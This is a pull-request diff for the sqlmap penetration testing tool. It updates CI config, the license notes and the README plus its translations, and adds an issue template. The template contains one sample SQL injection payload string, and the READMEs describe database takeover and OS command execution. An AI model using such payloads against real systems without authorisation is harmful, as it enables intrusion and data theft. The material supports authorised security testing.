Update for #2378

Merge pull request #2378 from samogot/patch-1
Minor parse-error extension
2026-10-12 02:22:55 +00:00 · 2017-02-03 23:04:38 +01:00 · 2017-02-03 22:56:05 +01:00 · 2017-02-03 16:50:16 +02:00 · 2017-02-03 16:36:57 +02:00 · 2017-01-31 14:18:36 +01:00
402 changed files with 11525 additions and 6014 deletions
@@ -1,5 +1,6 @@
-*.py text eol=lf
 *.conf text eol=lf
+*.md5 text eol=lf
+*.py text eol=lf

 *_ binary
 *.dll binary
@@ -0,0 +1,6 @@
+language: python
+python:
+    - "2.6"
+    - "2.7"
+script:
+    - python -c "import sqlmap; import sqlmapapi"
@@ -0,0 +1,26 @@
+## What's the problem (or question)?
+<!--- If describing a bug, tell us what happens instead of the expected behavior -->
+<!--- If suggesting a change/improvement, explain the difference from current behavior -->
+
+## Do you have an idea for a solution?
+<!--- Not obligatory, but suggest a fix/reason for the bug, -->
+<!--- or ideas how to implement the addition or change -->
+
+## How can we reproduce the issue?
+<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
+1.
+2.
+3.
+4.
+
+## What are the running context details?
+<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
+* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
+* Client OS (e.g. `Microsoft Windows 10`)
+* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): 
+* Target DBMS (e.g. `Microsoft SQL Server`): 
+* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
+* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
+* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
+* Relevant console output (if any):
+* Exception traceback (if any):
@@ -1,6 +1,6 @@
-sqlmap
-==
+# sqlmap

+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

@@ -18,7 +18,7 @@ You can download the latest tarball by clicking [here](https://github.com/sqlmap

 Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform.

@@ -33,7 +33,7 @@ To get a list of all options and switches use:

    python sqlmap.py -hh

-You can find a sample run [here](https://gist.github.com/stamparm/5335217).
+You can find a sample run [here](https://asciinema.org/a/46601).
 To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -57,8 +57,11 @@ Translations

 * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
 * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
+* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
 * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
+* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
@@ -76,7 +76,7 @@
 * Added option `--safe-post` to set POST data for sending to safe URL.
 * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
 * Added option `--skip` to skip testing of given parameter(s).
-* Added switch `--skip-static` to skip testing parameters that not appear dynamic.
+* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
 * Added switch `--skip-urlencode` to skip URL encoding of payload data.
 * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
 * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.

-sqlmap is (C) 2006-2016 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.

 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -12,7 +12,7 @@ This file lists bundled packages and their associated licensing terms.
  Copyright (C) 2005, Zope Corporation.
  Copyright (C) 1998-2000, Gisle Aas.
 * The Colorama library located under thirdparty/colorama/.
-  Copyright (C) 2010, Jonathan Hartley.
+  Copyright (C) 2013, Jonathan Hartley.
 * The Fcrypt library located under thirdparty/fcrypt/.
  Copyright (C) 2000, 2001, 2004 Carey Evans.
 * The Odict library located under thirdparty/odict/.
@@ -312,3 +312,5 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

 * The PyDes library located under thirdparty/pydes/.
   Copyleft 2009, Todd Whiteman.
+* The win_inet_pton library located under thirdparty/wininetpton/.
+   Copyleft 2014, Ryan Vennell.
@@ -1,5 +1,6 @@
-sqlmap
-== 
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".

@@ -16,7 +17,7 @@ Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github

 Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap):

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma.

@@ -25,13 +26,13 @@ Uso

 Para obtener una lista de opciones básicas: 

-    python sqlmap.py -h 
+    python sqlmap.py -h

 Para obtener una lista de todas las opciones:

    python sqlmap.py -hh

-Se puede encontrar una muestra de su funcionamiento [aquí](https://gist.github.com/stamparm/5335217).
+Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
 Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).

 Enlaces
@@ -0,0 +1,52 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
+
+----
+
+![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__.
+
+Installation
+----
+
+Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)  
+
+Usage
+----
+
+Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
+
+    python sqlmap.py -h
+
+Pour afficher une liste complète des options et des commutateurs (switches), tapez:
+
+    python sqlmap.py -hh
+
+Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki).
+
+Liens
+----
+
+* Page d'acceuil: http://sqlmap.org
+* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
+* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -1,6 +1,6 @@
-sqlmap
-==
+# sqlmap

+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.

@@ -18,7 +18,7 @@ sqlmap

 Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο:

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα.

@@ -33,7 +33,7 @@ sqlmap

    python sqlmap.py -hh

-Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217).
+Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
 Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).

 Σύνδεσμοι
@@ -1,6 +1,6 @@
-sqlmap
-==
+# sqlmap

+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.

@@ -18,7 +18,7 @@ Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/

 Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi.

@@ -33,7 +33,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:

    python sqlmap.py -hh

-Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217).
+Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
 Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).

 Poveznice
@@ -1,5 +1,6 @@
-sqlmap
-==
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 

@@ -18,7 +19,7 @@ Anda dapat mengunduh tarball versi terbaru [di sini]

 Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun.

@@ -33,7 +34,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:

    python sqlmap.py -hh

-Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217).
+Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
 Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).

 Tautan
@@ -0,0 +1,53 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
+
+Screenshot
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma.
+
+Installazione
+----
+
+Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap):
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
+
+Utilizzo
+----
+
+Per una lista delle opzioni e dei controlli di base:
+
+    python sqlmap.py -h
+
+Per una lista di tutte le opzioni e di tutti i controlli:
+
+    python sqlmap.py -hh
+
+Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
+Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese).
+
+Link
+----
+
+* Sito: http://sqlmap.org
+* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
+* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -0,0 +1,54 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
+強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
+
+スクリーンショット
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots)
+
+インストール
+----
+
+最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。
+
+[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+
+使用法
+----
+
+基本的なオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -h
+
+全てのオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -hh
+
+実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
+sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
+
+リンク
+----
+
+* ホームページ: http://sqlmap.org
+* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
+* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
+* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -1,5 +1,6 @@
-sqlmap
-==
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.

@@ -18,7 +19,7 @@ Você pode baixar o arquivo tar mais recente clicando [aqui]

 De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas.

@@ -33,7 +34,7 @@ Para obter a lista completa de opções faça:

    python sqlmap.py -hh

-Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217).
+Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601).
 Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -1,6 +1,6 @@
-sqlmap
-==
+# sqlmap

+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.

@@ -21,7 +21,7 @@ Kurulum

 Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir.

@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir

    python sqlmap.py -hh

-Program ile ilgili örnekleri [burada](https://gist.github.com/stamparm/5335217) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz

 Links
 ----
@@ -1,6 +1,6 @@
-sqlmap
-==
+# sqlmap

+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

@@ -18,7 +18,7 @@ sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，

 推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:

-    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和  **2.7.x** 版本的任何平台上

@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和

    python sqlmap.py -hh

-你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

 链接
 ----
